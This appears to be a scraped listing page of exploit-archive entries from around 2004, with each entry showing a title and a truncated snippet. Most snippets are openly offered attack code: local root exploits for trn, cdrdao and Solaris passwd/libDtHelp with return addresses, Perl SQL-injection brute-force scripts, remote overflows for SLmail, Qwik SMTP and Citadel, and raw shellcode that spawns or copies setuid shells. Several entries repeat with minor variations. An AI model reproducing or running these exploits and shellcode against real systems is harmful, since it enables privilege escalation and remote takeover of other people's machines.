trn-test.txt

/ /usr/bin/trn local root exploit By ZzagorR - http://www.rootbinbash.com / / sh-2.05b$ ./trn usage : ./trn ret buf example : ./trn 0xbfffff64 + mandrake 9.2 = 0xbfffff96 + slackware 10.0.0= 0xbfffff98 + slackware 9.1.0= 0xbfffff84 sh-2.05b$ sh-2.05b$ ./trn 0xbfffff84 128 BOO % 128 RET % bfffff84...

r57ita.pl.txt

!/usr/bin/perl use LWP::UserAgent; ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: example: r57ita.pl http://127.0.0.1/ITA/ admin 0 ! Exploiting adduser.php...

Solaris 7/8/9 CDE LibDTHelp - Local Buffer Overflow (2)

/ $Id: raptorlibdthelp2.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorlibdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9 Copyright c 2003-2004 Marco Ivaldi Buffer overflow in CDE libDtHelp library allows local users to execute arbitrary code via a modified DTHELPUSERSEARCHPATH environment...

Solaris 89 passwd - circ() Local Privilege Escalation

Solaris 89 passwd - circ Local Privilege Escalation / $Id: raptorpasswd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorpasswd.c - passwd circ local, Solaris/SPARC 8/9 Copyright c 2004 Marco Ivaldi Unknown vulnerability in passwd1 in Solaris 8.0 and 9.0 allows local users to gain privileges via...

Solaris 8/9 passwd circ() Local Root Exploit

Exploit for solaris platform in category local exploits ============================================ Solaris 8/9 passwd circ Local Root Exploit ============================================ / $Id: raptorpasswd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorpasswd.c - passwd circ local, Solaris/SPA...

Seattle Lab Mail (SLmail) 5.5 - POP3 PASS Remote Buffer Overflow (3)

Seattle Lab Mail SLmail 5.5 - POP3 PASS Remote Buffer Overflow 3 / SLMAIL REMOTE PASSWD BOF - Ivan Ivanovic Ivanov Иван-дурак недействительный 31337 Team / include include include include // bind 4444 unsigned char shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"...

Ultrix 4.5/MIPS - dxterm 0 Local Buffer Overflow

/ Ultrix 4.5/MIPS dxterm exploit by ztion in 2004 Greets to: Stok, sidez It wasn't possible to use '/' in the shellcode. Probably dxterm only copies everything after the last slash, as it expects a path. Since everything is pretty much hardcoded, you will probably have to tweak it for versions...

Solaris 8/9 passwd(1) - 'circ()' Stack-Based Buffer Overflow Privilege Escalation

Solaris 8/9 passwd1 - 'circ' Stack-Based Buffer Overflow Privilege Escalation. CVE-2004-0360. Local exploit for Solaris platform / $Id: raptorpasswd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorpasswd.c - passwd circ local, Solaris/SPARC 8/9 Copyright c 2004 Marco Ivaldi Unknown vulnerability i...

mailtraq.txt

Summary: A privilege escalation flaw exists in Mailtraq Version 2.6.1.1677 http://www.mailtraq.com/. Details: A privilege escalation technique can be used to gain SYSTEM level access while using the Mailtraq administration console. Vulnerable Versions: Mailtraq Version 2.6.1.1677. Solution: The...

UBBCentral UBB.Threads 6.2.x 6.3x - One Char Brute Force

UBBCentral UBB.Threads 6.2.x 6.3x - One Char Brute Force !/usr/bin/perl use LWP::UserAgent; UBB.Threads 6.2. - 6.3. exploit with one char brute technique by 1dt.w0lf // r57 $path = $ARGV0; $username = $ARGV1; $snum = 1; $n=0; $|++; if @ARGV 2 print "Please wait...\r\n"; print ""; while1...

Qwik SMTP 0.3 - Format String

Qwik SMTP 0.3 - Format String / qwik-smtp Remote Root Exploit ------------------------------- Bug found by: Dark Eagle Exploit coded by: Carlos Barros Home Page: http://www.barrossecurity.com Exploitation techinique: This bug is a simple format string bug. While coding this exploit, I found just...

Qwik SMTP 0.3 Remote Root Format String Exploit

Exploit for linux platform in category remote exploits =============================================== Qwik SMTP 0.3 Remote Root Format String Exploit =============================================== / qwik-smtp Remote Root Exploit ------------------------------- Bug found by: Dark Eagle Exploit...

Qwik SMTP 0.3 Remote Root Format String Exploit

No description provided by source. / qwik-smtp Remote Root Exploit ------------------------------- Bug found by: Dark Eagle darkeagle at list d0t ru Exploit coded by: Carlos Barros barros at barrossecurity d0t com Home Page: http://www.barrossecurity.com Exploitation techinique: This bug is a...

linux/x86 cp /bin/sh /tmp/katy ; chmod 4555 katy 126 bytes

linux/x86 cp /bin/sh /tmp/katy ; chmod 4555 katy 126 bytes. Shellcode exploit for linx86 platform / Linux/x86 /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork / include char shellcode = "\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"...

linux/x86 execve /bin/sh tolower() evasion 41 bytes

No description provided by source. / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include stdio.h char c0de = / main: / "\xeb\x1b" / jmp callz / / start: / "\x5e" / popl %esi / "\x89\xf3" / movl %esi, %ebx / "\x89\xf7" / movl %esi, %edi / "\x83\xc7\x07" / addl $0x07,...

linux/x86 execve /bin/sh tolower() evasion 41 bytes

Exploit for linux/x86 platform in category shellcode =================================================== linux/x86 execve /bin/sh tolower evasion 41 bytes =================================================== / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include char...

trillian074i.txt

AUTHOR Komrade DATE 08/09/2004 PRODUCT Trillian is a chat client currently supporting IRC, AIM, ICQ, MSN Messenger, and Yahoo! Messenger. from readme.txt file DETAILS A buffer overflow vulnerability in basic edition version 0.74i latest version occours in the MSN module when receiving a string of...

[Full-Disclosure] Cerulean Studios Trillian 0.74i buffer overflow in MSN module

PRODUCT Trillian is a chat client currently supporting IRC, AIM, ICQ, MSN Messenger, and Yahoo! Messenger. from readme.txt file DETAILS A buffer overflow vulnerability in basic edition version 0.74i latest version occours in the MSN module when receiving a string of around 4096 bytes ended with a...

CDRDAO - Local Privilege Escalation

CDRDAO - Local Privilege Escalation !/bin/sh DIR=pwd echo "" echo "cdrdao local root exploit - gr doesn't protect you this time" echo "Karol Wiêsek " echo "" sleep 2 umask 000 echo -n " Checking if /etc/ld.so.preload doesn't exist ... " if -f /etc/ld.so.preload ; then echo "WRONG" echo...

Citadel/UX Remote Buffer Overflow Exploit

No description provided by source. / Citadel/UX remote exploit By nebunu: pppppppal at yahoo dot com home.ro lamerz erased my [email protected] address for hosting exploits there.. Citadel/UX is a very well known client/server messaging for BBS which runs on port 504 by default. It has been discover...